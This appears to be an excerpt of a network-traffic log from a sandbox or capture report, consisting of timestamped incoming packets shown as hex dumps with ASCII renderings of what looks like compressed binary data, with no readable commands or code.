2022-07-21 02:34:45 UTC	5843	IN	Data Raw: 7b 6f 8a 57 f1 d5 d9 58 0f 14 8c 65 8c cf 91 23 1b 15 f6 42 9a f2 09 e5 c4 8c 62 3a 84 5e f3 db 7a fe 65 29 04 2e e1 9b 04 6e 5c 77 b7 bf 77 1f fc 95 0c a6 33 b1 d9 18 ef 11 c9 53 e5 dc e6 4c 65 30 11 6d 36 07 c5 52 c9 75 8d 46 2c 71 14 92 6d aa e7 79 b7 7d e7 8f ed d4 17 91 b6 4e 5f 13 0d 8f 0d 8f ac 62 05 b6 77 15 7b 74 7e 26 14 f1 e4 bc d9 2f a8 a8 d0 83 c8 80 ea d6 fe 7d 3a 55 7e cf b7 7e a9 6b 0c 52 18 f1 49 23 ce 4e 3a 90 a4 49 b9 c0 35 cf 2a cf 65 7c ac f8 19 69 9d 1b 1e 01 b0 98 77 ac dd b9 38 6b e1 ef d3 f3 06 2f 28 c7 79 89 72 80 5f b5 a8 9f 04 71 2f 9f dc a2 f3 65 58 e2 6d 5d 04 11 6f 2f 99 59 2e 53 97 8f 9b 99 c2 9e 42 b1 c4 da e3 42 4e f3 fd 7f ff 00 06 f7 10 d6 2e 72 77 4b 9b 64 12 1e 2c 39 e3 fe bd 58 26 c3 2f a5 56 73 5f 96 5f 3a 06 ca 9d Data Ascii: {oWXe#Bb:^ze).n\ww3SLe0m6RuF,qmy}N_bw{t~&/}:U~~kRI#N:I5*e\|iw8k/(yr_q/eXm]o/Y.SBBN.rwKd,9X&/Vs__:
2022-07-21 02:34:45 UTC	5851	IN	Data Raw: 6b 7a f9 aa cf cc 79 4e 5a e3 e6 de 40 ea 09 0b bf b1 bb de af bf 5a 07 40 a4 68 3a 81 00 8f cf 4c e1 cd 87 12 4e 2c c4 69 5e 9d b6 f4 53 fb 95 4c 50 47 96 9e ae d1 b0 66 b8 23 78 02 75 c6 9c 3f 42 ab c9 30 70 1c a8 8c f0 b6 1c 2f fb ca 1b 0f cd 4a 72 31 a3 c8 5d 2e 2f 6a 5b fe de 51 38 91 8b e9 24 10 3a 45 3b c9 c4 97 15 87 10 59 4f 41 e9 53 5c 10 68 4d 40 58 39 26 ff 00 48 a3 49 8a 8d 0d d4 d0 94 14 27 2b 74 99 52 09 98 ac 68 f7 36 f0 b7 77 f7 e9 e6 77 26 99 64 55 c3 8c 2a a1 d4 ac 08 0d b7 c5 27 6e 93 28 c7 8e 68 b8 dd 32 16 52 01 da 7f 89 e6 6f d3 83 91 97 8a bc 15 65 32 c4 ba 92 e7 d5 c8 9d 9f 5d fc 3a 4c e5 b2 0c 9a 5e fb af c1 ed 54 81 61 63 a8 a0 60 c3 e6 38 53 85 ca 7d 50 48 0e ec 84 6a 1f c2 99 77 78 95 93 e7 32 ca f9 6c 27 ed 0d 97 20 5e dd c7 Data Ascii: kzyNZ@Z@h:LN,i^SLPGf#xu?B0p/Jr1]./j[Q8$:E;YOAS\hM@X9&HI'+tRh6ww&dU*'n(h2Roe2]:L^Tac`8S}PHjwx2l' ^
2022-07-21 02:34:45 UTC	5867	IN	Data Raw: 24 7b d5 39 f9 ac 3a 02 dd e2 70 f6 26 db aa bd f8 38 91 71 13 b3 43 62 66 07 23 37 0d 23 d2 36 1d 2e 34 74 76 5a 3f 57 c1 de aa 32 79 ae 31 9f 71 1e 09 18 e9 90 a8 d2 09 ef bb fb 99 3f 4e 90 61 05 cd 94 e9 e5 f5 3c e9 bf 50 4d 87 8d eb 55 8f 93 06 4a 0d 0e b2 0f ca 0d 72 57 6c 56 07 b5 17 87 6e ab f7 3f 97 59 ac c8 d6 10 a2 18 8c b3 db 56 a4 3a 1c 0e d7 ad 65 f5 75 63 72 0c ac dc 44 69 92 39 d1 0e a2 aa d6 76 3e 1f 88 f5 6f 25 47 6f da a9 70 77 a4 5e 2e 97 33 63 f9 7e ee 80 e6 45 ae bf 23 51 1f 33 aa 73 2c 47 c5 55 2f 28 37 40 bb 4d c0 dd f3 e9 7f 2f 97 98 c1 02 63 64 c5 26 32 a2 e9 69 0e c3 a0 77 20 fc 4d 1e 7a 51 78 30 72 7c 28 b5 cd c3 45 6b d8 4a 01 91 3b 9c 3d 52 7a dd 51 d2 61 ce f2 31 33 e4 c7 8f 29 b8 44 de 02 4d e3 7b fb 3e 3e 46 b4 f5 3e ef 8d Data Ascii: ${9:p&8qCbf#7#6.4tvZ?W2y1q?Na<PMUJrWlVn?YV:eucrDi9v>o%Gopw^.3c~E#Q3s,GU/(7@M/cd&2iw MzQx0r\|(EkJ;=RzQa13)DM{>>F>
2022-07-21 02:34:45 UTC	5883	IN	Data Raw: 57 5e c3 aa 5d 4c e9 af 71 e8 1e 5c b8 71 63 4e 21 27 8a 51 49 d6 07 89 7b fa 9d 56 86 e6 7c 5c 5c 68 8c 8c 0c f3 6f 93 d2 d1 a2 1f 52 a9 27 73 8d 26 b7 96 b3 11 2e 5d 15 8c 79 b6 ee 5c 5f 79 f4 29 92 44 84 02 ca ac df 9a b4 b9 a6 7c 95 d2 93 de dd c2 4a 8d 4a 7b fc 3f 6d f7 9e 0a 14 f3 9c cc 2d b9 88 b3 29 3d b4 dd 3f 62 a5 c8 39 dc 3c d6 d0 65 28 f8 80 3b 5d 4e 07 ea bd 39 6e 57 14 a0 aa a1 37 1d 55 46 47 e9 b7 4e 65 be 3f ab fb b9 28 55 14 0d d1 8d f5 dd a1 70 f3 b1 b3 4d d1 8a b0 e9 56 16 34 26 6a c9 16 b8 51 b8 7c 42 00 60 74 86 d5 ab da 52 1e 6f 88 b8 39 9c 17 7d 3a 76 ea 3d 61 bb 1a 92 9a 72 8c 86 cb d7 8f 37 ac 88 5c 6a eb 04 78 35 ef d3 4c 01 14 4a a7 28 c8 ca cd 52 1b 5b 1a 73 c8 71 70 39 38 47 60 72 39 83 8b e8 51 7d 1f 6b 72 3f e2 c9 44 73 bc Data Ascii: W^]Lq\qcN!'QI{V\|\\hoR's&.]y\_y)D\|JJ{?m-)=?b9<e(;]N9nW7UFGNe?(UpMV4&jQ\|B`tRo9}:v=ar7\jx5LJ(R[sqp98G`r9Q}kr?Ds
2022-07-21 02:34:45 UTC	5891	IN	Data Raw: 85 82 b4 7c 32 f9 12 59 62 8d 2f d3 ef 25 9e 6f 0a d0 8e de 47 8c 1b 69 c5 cb bd 9f 3b d0 de fb 2b 51 93 8f 8a 10 4d 92 da 63 51 b0 33 7a bf 4b 4f bd 77 a4 4b cd 97 3f 28 62 e0 91 18 50 15 da 5e 86 29 eb 38 51 62 2f 0d f4 ff 00 87 50 7c 9c 8c c1 62 ca 67 04 85 2c 3d 54 1e 7c 30 f8 ff 00 1d fd 65 5d ca 3e 5a c1 c3 88 6b 6d 59 1b 18 ca 0e f6 a0 75 7a ad 4b b9 ae 89 02 c0 8d 99 2d 21 dd 8c 5b 2c 3d 7f cb 8e 99 98 b6 27 fa 29 b4 7c be 38 8f 1f 28 f1 e6 27 b4 eb d9 bf dc 43 d8 89 28 e8 a4 d8 16 35 b8 1f 9a d5 56 2b ca 46 f1 0c 36 ed 3f a3 57 ac e4 30 43 d6 6a 81 bb 92 18 dc f2 f9 68 43 5e bd 95 9c b8 ca aa 48 53 7d b6 ed 7a 54 08 97 1b 27 98 3a ca 0c 69 c3 50 4b 1b 2c ad 76 f5 8a 94 bf 22 5d 73 9b c7 b7 51 b9 2d d3 63 ee d7 4d 57 cd 79 86 54 71 29 40 38 ec c3 Data Ascii: \|2Yb/%oGi;+QMcQ3zKOwK?(bP^)8Qb/P\|bg,=T\|0e]>ZkmYuzK-![,=')\|8('C(5V+F6?W0CjhC^HS}zT':iPK,v"]sQ-cMWyTq)@8
2022-07-21 02:34:45 UTC	5907	IN	Data Raw: 18 83 63 e2 4b 66 ba b0 04 9b 3b 76 74 2c 9e cb fe 9d 4d f9 ac 99 92 7c 20 88 07 2d a2 42 00 3a ad dd e2 ad 53 6e d4 a1 12 22 ba 2a f3 33 74 fe 9d 18 92 c4 8b ef fd 2a 4d 0f 2e 75 95 1e 60 d1 c9 70 48 1e f4 76 9f 86 df fe 11 a3 b7 17 bc ad 8f 2f cc c0 cb 5e 04 2b ad 64 b9 60 4d 85 fc f6 a0 73 79 74 d1 72 e6 c6 ce 1a 34 ba 32 9b d9 89 d6 89 c6 8b d1 47 a5 5f 30 72 99 f0 a6 2f a5 9e 29 0e 94 91 6e da ef ec e3 c9 e1 ff 00 f7 3f 8d ef bd 3a 6c 9f fc 96 c6 42 d1 4e 84 e0 39 1b 0c 64 fe dd 1e 2c 05 c1 c4 f8 fa d4 7f 37 e5 b0 72 49 62 9a 69 16 58 18 92 12 db 43 78 1b ef 52 99 e3 fc cb 82 f2 24 d0 b0 8e 40 9a 4c 56 50 ac 7b 48 f4 07 fb 5e 0f c3 a1 9b 4a 94 50 58 93 b4 0f 3f 89 4a e5 ce e4 f1 c8 c8 c9 06 8e 90 c4 c8 cc 4f d5 d1 fd 3d 5d 0e 62 65 20 2c 99 db 17 31 Data Ascii: cKf;vt,M\| -B:Sn"3tM.u`pHv/^+d`Msytr42G_0r/)n?:lBN9d,7rIbiXCxR$@LVP{H^JPX?JO=]be ,1
2022-07-21 02:34:45 UTC	5923	IN	Data Raw: e4 59 b5 13 b3 b1 f7 71 6f 52 68 4a ca 2f 1e f5 fa 87 97 c3 5a 88 be 59 e5 d8 4d 70 b1 a9 b7 4b 0d 60 7f 12 59 5a 82 cb 81 61 97 5a ef 46 16 c8 40 d8 17 bb f5 56 aa 45 22 05 b4 79 95 f0 32 53 80 1b 2e 19 85 67 e6 51 c0 39 00 ea 6d 56 09 a5 83 db bc f2 6e f6 2b 91 63 b4 d2 2c 60 6d 7d 82 fd 14 fc 63 19 d5 65 91 c2 a8 1d 00 0d e0 7c 6e d5 4c 71 c1 1c a9 20 60 42 ef 5b a8 a7 b2 95 51 a9 c2 7d 08 1b 6b 99 41 1f 2d 09 36 24 9c b1 c4 6f 95 24 71 31 ec 46 08 d4 3e f7 5e f5 38 93 93 e0 45 14 79 01 4c b2 13 65 e2 b1 91 5b f0 b8 3e ae 88 e5 f1 60 cd ae 70 37 14 8d 28 41 2f bb db fa 9a aa c9 4e 4e 4c ba e4 8d 52 15 6d cf 13 2f de f9 8f 55 65 99 c9 0a 4b 26 1f 13 ec f3 f5 37 2b 94 5b 55 b5 be 4a 43 cc 39 39 89 8c d2 c0 21 2a d6 06 1d 81 4f 99 c3 6d 7f 6e 99 e3 7c b7 Data Ascii: YqoRhJ/ZYMpK`YZaZF@VE"y2S.gQ9mVn+c,`m}ce\|nLq `B[Q}kA-6$o$q1F>^8EyLe[>`p7(A/NNLRm/UeK&7+[UJC99!*Omn\|
2022-07-21 02:34:45 UTC	5930	IN	Data Raw: b3 47 da 53 7a d7 f3 0c 69 d2 21 cd f1 8d c3 aa 99 a2 1b aa e9 e3 6d 1e f2 3a c7 a8 b7 55 7d 0b 90 ca cb 85 03 4a 4d 8a 74 1d 9b be 3d 15 9b df 31 4c 5c 0b eb 83 2f de 47 e4 ab 11 9d 6d e0 6a 86 e6 d9 a6 35 e1 62 23 af 94 ca 3a ff 00 95 54 c9 cd b3 50 2a ac 60 5c 6d 52 db 17 eb 2a 50 fc bb 9e 3c 25 e1 8e 26 97 1e 3b 95 71 da 09 7d ef 57 ef e2 c6 f3 29 9a 4e 73 e2 e2 30 21 0d b4 91 bc 1b ec 6e d5 26 41 19 d6 34 c7 d3 93 7f 5e 9a ca 4e 9e 5a 4f cf b9 84 b2 44 a6 62 04 40 ec 54 5d ad 27 a7 26 f7 f9 75 9e e5 b8 e9 3e 5d 90 58 f4 b1 e9 37 26 b4 9c cf 96 3b 27 1e 41 72 86 ca a0 dc 01 de 7f 4e bd f2 56 0a c0 66 c9 97 64 84 e9 0a 7a aa da 4c 91 76 ec 57 68 dd b2 f9 9a 81 af 61 7f 1a 27 9d e0 63 40 89 91 76 76 16 5b 77 5a e7 bd 56 43 8f 95 96 c4 69 31 28 16 52 76 Data Ascii: GSzi!m:U}JMt=1L\/Gmj5b#:TP`\mRP<%&;q}W)Ns0!n&A4^NZODb@T]'&u>]X7&;'ArNVfdzLvWha'c@vv[wZVCi1(Rv
2022-07-21 02:34:45 UTC	5946	IN	Data Raw: bd ed b7 a0 d2 3d 22 71 ae 5b eb be d3 6d 95 6c 52 c4 e3 84 db 07 42 91 4a 96 35 71 eb 2e d3 42 54 37 c9 47 f3 1c d4 d0 51 2f 72 48 d5 d5 bb e0 af 52 c6 6e 1f ab bd c0 d9 5e a1 e8 8c 2d e1 b7 2a 0f 1b 57 ff d7 0b 9b a3 49 22 99 34 82 35 6c 52 2d d3 ab 5e e6 ed 04 c0 05 04 6c db 63 b7 a4 f8 eb 53 f3 24 13 4e ea b1 d8 c5 a7 50 00 5b 43 01 bf c4 a4 90 4b 12 e3 b8 16 e3 93 a2 c4 5e ca 7b 6d e6 68 df af 31 0c b9 46 a4 0f 9a bc b4 eb dc eb 4b e0 94 e3 39 65 01 d0 8d aa 6e 14 db b3 f6 3b 94 eb 1a 66 c8 37 8c a9 4d 8c a1 bf 2e 9d 0f e8 7b da 56 62 3b 10 0b 93 60 07 94 d6 97 96 72 91 1b 35 ee 16 15 d2 e4 8e d4 9b 8d c3 81 ff 00 8b ae a7 b9 75 02 e7 8a 89 10 93 71 41 ce 27 7b 08 3b 7b 6f a7 74 11 e1 5f 43 b9 ae 9a a4 26 2c 60 72 a4 57 7b 74 1b 1f a9 f5 2a 31 20 78 Data Ascii: ="q[mlRBJ5q.BT7GQ/rHRn^-WI"45lR-^lcS$NP[CK^{mh1FK9en;f7M.{Vb;`r5uqA'{;{ot_C&,`rW{t1 x
2022-07-21 02:34:45 UTC	5962	IN	Data Raw: b7 ec 7f 2e a5 0a 34 b6 cb 04 f9 79 e4 f3 d4 5c 81 60 69 bc 98 b3 e7 48 d2 63 f0 95 de 2d 25 8d f5 26 af 68 b1 fa 7f 5e a7 8f c9 e0 c1 ca 84 b0 3a a1 b9 03 61 04 5b b5 ab d5 f6 7d a5 0a c8 ef 02 ca 0a aa ac 69 ac 82 77 d9 75 2f 6b ea 54 4f 30 c8 68 9e fb f0 35 a3 40 5b 79 47 7f 87 e3 e2 50 80 fb 14 8c 78 31 a2 2d 61 f2 53 9c fc 31 cd b1 8c 65 48 56 2a 43 28 df 2a 3d 3d da ca e7 72 fe 67 c8 02 08 98 cb 05 c9 d3 6d 4b e8 4c 95 a6 e5 13 e8 44 c6 88 92 b1 0d a1 ba ff 00 0a 3d 3e ee 3a 96 89 b9 de 3a 64 c3 29 40 2e 40 16 17 f3 1f d1 a5 45 2b 40 4a 9c 4c 19 6f 09 3d 6e 0a 13 be 35 b9 ac 47 33 f9 8d b8 a9 f0 c5 d4 05 da a6 ea ca fd 97 df 4f 32 a7 ca f9 c6 53 b0 8b 0c 91 29 e8 53 b5 4f d9 fd b4 a6 5f 3b 43 88 56 29 80 1f 1a 4d a4 b1 ee 8e f4 c9 e3 a0 3e 5f e5 79 Data Ascii: .4y\`iHc-%&h^:a[}iwu/kTO0h5@[yGPx1-aS1eHVC(==rgmKLD=>::d)@.@E+@JLo=n5G3O2S)SO_;CV)M>_y
2022-07-21 02:34:45 UTC	5970	IN	Data Raw: e4 9f cd a9 e1 76 5c a5 77 a2 65 62 8a 57 70 ae ed b2 aa 66 9b 99 61 46 f3 ca e5 b1 35 9b 3a 32 ae eb 37 aa d1 df f3 29 07 cc 79 19 6c 57 07 20 f1 76 89 37 1b 59 fb b8 d6 49 7c 68 9f 87 5b de 7b 0e 2c 38 12 19 d7 d5 22 1b 20 d8 0b 36 e4 6a bf 88 ce fe ae b2 7c 9b 94 67 be 37 c5 b4 23 88 c8 c1 4e a0 8d e6 ee e9 ad 99 5e 48 a2 58 e2 5b b3 64 a1 15 f1 c3 2e 3f ee 63 fb cf b2 a0 10 00 dd 4f 37 d5 7f dd ff 00 c7 56 e6 41 14 18 69 9f 8e 8b 8f 8d ba ad 1b 13 ac 9d 4a 9f 11 0a 69 f6 89 bf c4 fb f8 e8 bc 34 c3 e7 0a 26 85 ee db 6e 45 c7 41 ed 2a 3f bb a9 e7 63 65 67 61 88 f2 a3 0a 8b 1a e9 67 0b a8 bb 0d 13 7a bf 77 b9 ff 00 3d 67 31 4c 7c 9d a6 6c 76 e2 44 36 29 be f2 9f 45 77 3d 64 9f 89 59 7f 8a 76 d1 32 2b 45 ee fb 9b 02 ca bc cb f0 a9 f0 97 08 32 25 b7 77 b2 Data Ascii: v\webWpfaF5:27)ylW v7YI\|h[{,8" 6j\|g7#N^HX[d.?cO7VAiJi4&nEA*?cegagzw=g1L\|lvD6)Ew=dYv2+E2%w
2022-07-21 02:34:45 UTC	5986	IN	Data Raw: af 20 1f 11 94 c5 de 64 da 07 65 7f 9b e2 a7 bc b3 97 e3 63 48 40 70 8c db c5 49 e9 66 f0 c5 dd a7 77 92 0e f8 94 89 91 a4 67 dc 6c 70 cd 61 4f 3e 1f ee 7d 9d 02 6e 6a de 02 80 c8 e5 eb 8c eb 2c 32 9d 08 c0 b0 27 b0 bf 57 f6 e9 b6 76 22 64 b4 72 40 59 89 5d cd a5 a3 d4 c5 75 3c 9a 7d 62 7f a7 4a 39 aa 0e 5d cc 1c de f8 f2 c4 aa e5 8e a4 13 12 ff 00 af 15 73 95 e4 4a 21 3c 09 83 86 6b 16 e9 28 9e 08 e3 ec 51 76 e3 f9 36 68 7b a1 d5 8e 44 5c d8 65 e5 ea 72 54 38 25 83 ae d6 dd a4 bf 3d eb 8b 2a 18 72 58 e4 02 8c 52 34 1b a8 fb b1 e8 8f 87 eb 1f eb d2 bc 0f 97 9a 28 78 d2 c9 1c 31 90 75 06 bf 15 3b ba 25 4d cf b1 5a 3e 60 89 fe ee 85 f5 44 b8 f8 f7 dc 03 5b 5c f8 97 5b ef a7 7e 90 73 7c ae 51 9c ca d1 b1 59 09 37 62 59 98 fd df 17 5b 55 99 e6 2c c2 28 fa ab Data Ascii: decH@pIfwglpaO>}nj,2'Wv"dr@Y]u<}bJ9]sJ!<k(Qv6h{D\erT8%=*rXR4(x1u;%MZ>`D[\[~s\|QY7bY[U,(
2022-07-21 02:34:45 UTC	6002	IN	Data Raw: e1 78 fc fa ae f3 08 98 23 d9 95 93 3c f8 7f c4 4f 3d 35 5c 3e cb 83 e8 7e 5a 4f 85 1c ac 40 9a c4 1d b7 04 6c f3 5e ac cc 8a 37 7b 5b 7b 49 0a 0e c5 3e 87 9c 94 3c 41 d6 50 91 a3 b4 c0 80 14 0e 93 7e c7 a5 4f 39 7f 2d 39 73 99 79 a4 12 26 3c 4b d7 b9 bc e7 44 5e 7f f8 74 2c 48 6c bc 2d c9 fd 4a b0 08 c6 d4 8a 28 62 12 a6 c0 19 88 b8 e9 d2 2f bd 4c 1b e5 ec dc 99 75 42 92 49 ab 51 01 57 4e c5 fc 69 ab 7b cb 79 56 90 15 84 31 98 f6 46 02 0d 40 7d e3 3f b4 e2 3f de 51 3c e2 5f 82 58 df 44 8d 3d 88 dd ec bd ff 00 6e ab c5 de 19 a4 64 42 13 a6 99 65 2f c2 a9 d3 65 63 39 1f 29 81 01 13 a3 17 d4 10 a8 3a 63 5e f3 34 f3 27 ae 92 6d 54 f7 0f 93 e2 f2 c8 25 c7 c5 2e 1a 56 0c 6e c4 ae ce f6 f5 1f c9 da 4c a8 a3 3c 31 1c 8e db 41 1f 6e 8c c9 82 1c 86 68 d8 28 64 3a Data Ascii: x#<O=5\>~ZO@l^7{[{I><AP~O9-9sy&<KD^t,Hl-J(b/LuBIQWNi{yV1F@}??Q<_XD=ndBe/ec9):c^4'mT%.VnL<1Anh(d:
2022-07-21 02:34:45 UTC	6010	IN	Data Raw: 7f ea f6 38 94 24 fc a3 1b 0b 95 64 cd 91 27 1a 63 d9 6d 46 db 37 20 dd f1 c7 5a 91 7f 2e d8 e2 77 65 68 fa 91 63 96 32 fe c5 28 97 06 c3 67 9a f4 0f 31 e6 38 18 41 86 1c b7 91 94 3a 91 de b9 de 83 29 7b 1a fc 15 35 e6 53 e7 e2 3f 08 10 8e da 5a fb f6 36 ec 69 f7 71 7e 85 64 e4 c2 94 32 4a 51 82 c9 72 a6 c7 4b 69 f6 9a 5b cd a6 1c 86 77 c6 ce 01 0b 5e e4 69 03 56 df 45 b7 19 6b 4e 4e d1 51 2e 0f 51 d7 de 64 f4 b0 c7 d1 b6 b4 1c 98 c9 8f 91 14 01 10 85 b9 27 a4 7f 3b d1 ad 5c 79 8a d2 97 66 0c 45 94 2a 0d 2b a4 7a cd 6c 8d df ac d3 e5 2c 79 2a d1 44 ca ec 41 90 b2 e8 ba 77 b8 7e 9d 1a 66 c9 32 ba c0 81 86 9b 8b b6 90 a1 75 6e 46 9e 65 67 4a ce ea 57 45 59 06 4c 3c db d4 6a 00 37 bb 13 e1 43 f3 9c b8 20 ca 96 09 d7 5a 4c 52 48 d6 ec 19 cc 83 44 9c 04 8f cf Data Ascii: 8$d'cmF7 Z.wehc2(g18A:){5S?Z6iq~d2JQrKi[w^iVEkNNQ.Qd';\yfE+zl,yDAw~f2unFegJWEYL<j7C ZLRHD
2022-07-21 02:34:45 UTC	6026	IN	Data Raw: 72 ac 7d ca c9 29 27 00 cd b9 16 5e dd 11 62 c3 96 be 7d 17 29 e6 d9 81 63 8e 09 02 9d 8a 4a 90 bd 3f d3 b7 4f b9 3f c9 1c c0 b3 ae 54 81 63 03 6a f6 98 f9 f1 d6 b1 b1 32 94 d9 4f 5e 95 b5 c7 ea d1 50 f2 99 24 4f 5d 2a 02 46 80 08 2c c3 eb f1 12 8f 3e ea 4b c7 d2 c3 d8 e5 f9 f2 d4 70 ea c7 f4 de b3 5f fe 29 60 e3 38 96 55 95 c2 8d a1 9b 73 fc af d4 d7 5a 3e 53 ca b9 4b 3a f0 f1 e2 1a 56 e6 eb 7d a7 f8 9b 94 62 62 c7 86 b6 70 ec c4 80 74 ef 2f a7 fb f4 bd f0 c3 e4 32 e3 48 c5 62 6d 41 10 ed de f1 6e f7 7d 67 0e 8a 18 67 ed ed 34 99 4f bb 8b 41 ce 95 d8 86 bd 89 03 cd cb 43 0c 19 71 e3 2b 8e 1a 26 62 f6 58 ed ba b7 d3 eb 27 93 47 aa 4a 2b 1f 2d b0 dd 30 b3 a5 8f e2 1d 75 a1 56 d8 47 d6 d0 d1 d4 84 f0 3e 97 75 66 24 95 64 2d a8 33 7b a8 bf 89 27 6e 97 66 72 Data Ascii: r})'^b})cJ?O?Tcj2O^P$O]*F,>Kp_)`8UsZ>SK:V}bbpt/2HbmAn}gg4OACq+&bX'GJ+-0uVG>uf$d-3{'nfr
2022-07-21 02:34:45 UTC	6042	IN	Data Raw: 18 86 00 77 fd 3f e9 c3 a4 fc cb 9f 43 3f 2d d3 14 2b 1b bb 58 1d 6c 64 fe 25 58 ec a1 9b d2 96 95 71 de cf 18 b1 a5 cd 28 62 14 82 a6 fb 2b 5b c9 22 5e 59 cb 51 f2 36 4d 21 bb 93 d2 5c f7 3f 97 4c 25 c8 29 8b f1 90 c2 f3 b2 02 0c 6b b3 55 fb db ff 00 77 5f 3c e5 5f 32 73 0e 5a ea d9 21 e5 88 0d 8a c0 ad bc 2d ad 96 9d e7 fc e7 97 cc 0c 70 72 95 bc ac 80 b9 b5 d9 4f 7e 18 97 d9 fa 72 d3 bb 4e d0 43 24 92 4c 51 f2 df cb 14 92 2f 53 07 fb 3a 60 6b a8 1a ab 53 cf 80 cb 95 91 cb c5 c1 50 0b c6 a0 ab 6d ee a3 bf 83 f9 75 c9 39 5e 33 e4 09 9d 04 ac 80 85 57 27 4a ea f3 28 51 ce 19 02 47 9e 8e 8c f6 bb 5a cb f6 e9 07 3f cf cd d4 f0 62 b0 58 6e 77 d3 74 b8 3d d9 65 fd ca 4c 73 5d b0 84 7f 2e 0e d6 7f 7b 14 9e bf b7 4c ca ca 6e 49 3e 5a 7f cd da 09 b2 23 18 e9 10 Data Ascii: w?C?-+Xld%Xq(b+["^YQ6M!\?L%)kUw_<_2sZ!-prO~rNC$LQ/S:`kSPmu9^3W'J(QGZ?bXnwt=eLs].{LnI>Z#
2022-07-21 02:34:45 UTC	6050	IN	Data Raw: 5c 69 50 3d 0e fb d6 a6 4c e8 00 e1 07 0c 40 b9 6b 1d 3b 7c f8 fd 5d 70 e0 ae 66 9e 32 21 d1 b5 76 ea 22 a2 29 8c 7a be 5f 25 11 5c b6 56 5b 1e 29 20 d0 03 09 01 dd b8 36 e1 ba fd ec 49 4c db 15 4c 3a e7 41 24 44 92 09 f5 6c 9f c4 58 bd 5c 9a 3d 0e c5 55 cd be 59 d2 b2 64 e0 92 18 c8 03 20 3e ad 41 f7 ba 7b 8e be f2 a7 83 06 5e 46 cc 87 1c 12 83 48 1b da 8f 79 df f6 2a e3 b8 28 1c 10 33 de bf 04 bf 33 f2 fb 2a 5e 16 60 79 97 77 fb 74 8b 21 73 39 75 e4 90 2e 56 13 90 43 37 4c 64 9d 28 9b ff 00 af 42 cb a3 2f 21 ce 9d 31 0e d8 1e 51 fd 3d 5d 6a 78 f0 e9 0e cd ea df 77 49 20 ea b7 6b 73 fc aa c7 f3 4c 3c 88 66 12 22 95 c4 9a e5 09 ec a3 7d df 19 3d e7 73 d6 55 ae d9 8c a4 e9 83 a8 e2 f3 7f e4 ab 31 f7 1c 8e 77 fc 3d 6a af 2b 0d 4f ac 8f 7e 32 6d 6b da 4d ee Data Ascii: \iP=L@k;\|]pf2!v")z_%\V[) 6ILL:A$DlX\=UYd >A{^FHy(33^`ywt!s9u.VC7Ld(B/!1Q=]jxwI ksL<f"}=sU1w=j+O~2mkM
2022-07-21 02:34:45 UTC	6066	IN	Data Raw: 1e 03 b4 92 8c 96 ba b3 06 8d 81 b3 5b b1 be c9 a7 d6 e9 a3 4e 92 e3 2b b1 dd 65 eb 76 d8 71 a6 7f e1 50 6b 62 ab f3 5a b3 59 5c 9a 2c c0 f3 60 4c 44 ae 49 68 dc 15 90 5f 7b d6 c3 fb 7e ca 98 f2 af 95 f1 f9 45 e7 9a 4e 24 96 da 7b 16 f1 70 f7 bb b4 fd 30 60 40 10 22 ec db f9 7d 2f 1d 53 cc 39 4e 3e 49 49 5c 12 c8 08 01 76 51 4f df 09 ce 31 8f e5 e2 c7 de 05 fb 4f a7 fe 9a 54 a4 65 35 27 26 a0 65 e4 38 79 98 bc 28 dd c4 6e 75 06 d6 4f d5 df f1 d5 90 e0 72 de 57 65 68 20 4d 4a 15 0b 1d ae c3 b5 eb 1f bf 46 88 e4 81 22 8e 05 22 2b 90 c2 c2 eb b3 75 f7 b7 e8 3c ec 35 91 f8 92 c5 1c f1 a7 76 d7 6b f8 b7 fd 5a 7e 25 2a 39 e4 8c 81 99 c1 f7 b7 c2 3f eb d1 11 fd 35 54 50 72 d5 24 06 13 c8 ec 4e 95 6b 9f d1 7f 75 e3 96 8d e5 c0 43 26 93 02 20 3b 01 b8 77 63 e9 2e Data Ascii: [N+evqPkbZY\,`LDIh_{~EN${p0`@"}/S9N>II\vQO1OTe5'&e8y(nuOrWeh MJF""+u<5vkZ~%*9?5TPr$NkuC& ;wc.
2022-07-21 02:34:45 UTC	6082	IN	Data Raw: 24 4c 16 6d 2a 3f fc 13 7e 3d 1f ca ac ee 22 3e 2c 8a 63 b3 5a 40 6e db 10 e8 3b ba fc c7 ad 1c fc ca 19 35 4d 90 89 0e 56 a3 6d 1b 9d 5e cd 74 b6 a8 e9 1d c3 60 85 82 75 b3 f8 9f b1 fd dd 74 58 31 20 1c 31 d8 be 6a f3 ac 33 6b c4 cc 49 61 8f 5d e2 d6 81 2c 5c 7a c6 7c d8 91 21 ed fb 34 aa f3 30 e3 78 99 84 c7 21 e2 60 18 31 ec af 61 3d 5a 77 bf 17 de d3 2f 96 79 8e 74 a8 f0 48 38 b0 35 83 29 3b e0 b9 f7 3a d7 82 d1 a2 f6 f8 9d ba e7 cc 18 f9 1c b7 8b 1c 7c 35 8d a3 20 95 5b b4 83 76 3d fe 23 71 22 e0 f8 3d 95 23 a0 55 4c 82 43 1a 36 92 22 a7 52 2c fc 8b 53 16 2c ea d8 e4 ca d9 5c d2 99 f1 61 99 09 92 d1 f4 29 b9 16 3e cf 82 fa 3c fe fd 64 f9 ac 63 1f 27 86 0d c0 24 8f c9 dd ad 8f c3 97 88 cb 15 89 8d 1d 49 3e 78 d4 af 37 f0 5f 7f cc ac c4 3c bd 72 22 93 Data Ascii: $Lm*?~=">,cZ@n;5MVm^t`utX1 1j3kIa],\z\|!40x!`1a=Zw/ytH85);:\|5 [v=#q"=#ULC6"R,S,\a)><dc'$I>x7_<r"
2022-07-21 02:34:45 UTC	6090	IN	Data Raw: 41 85 8e 56 02 22 53 72 4b 1b b1 3e 7c 9d fa e6 24 46 29 c6 d2 51 ae a5 d4 5a 40 3f 0b fe 4a ab 92 73 d8 39 da 15 41 a2 48 bb a4 6a 20 78 e9 8a a3 c2 bb a4 3b 5b 65 f7 6e 7c f6 aa ce e6 23 bd 97 f3 39 e4 f9 ff 00 97 bf 46 8a 2d a1 ac cf cf 59 b1 c3 14 78 58 f3 16 db bf 10 1e b0 af 71 a6 93 fe 9d 63 33 b1 99 74 95 06 da 7c 95 f5 b8 f0 15 a4 19 06 24 59 c6 d0 fa 46 c7 b6 8f af 49 b2 b9 d7 2e cb c9 7c 2e 6b 12 a8 56 21 5c ed 57 3d ed e5 ec 56 ac 1f 8b 81 61 14 5a 47 ac ab 1d 26 58 b2 25 89 d3 86 be 56 b1 b6 bd 2a 2e 7a ab 55 f2 19 45 cd 63 97 29 8d 63 4d 41 35 69 d6 d7 f0 27 b4 d3 e0 a3 7e 73 f9 5f 17 02 25 ce c2 6d 0a e6 da 6f 75 e8 f7 6f 59 8e 41 cd 97 93 66 0c a7 52 f6 56 16 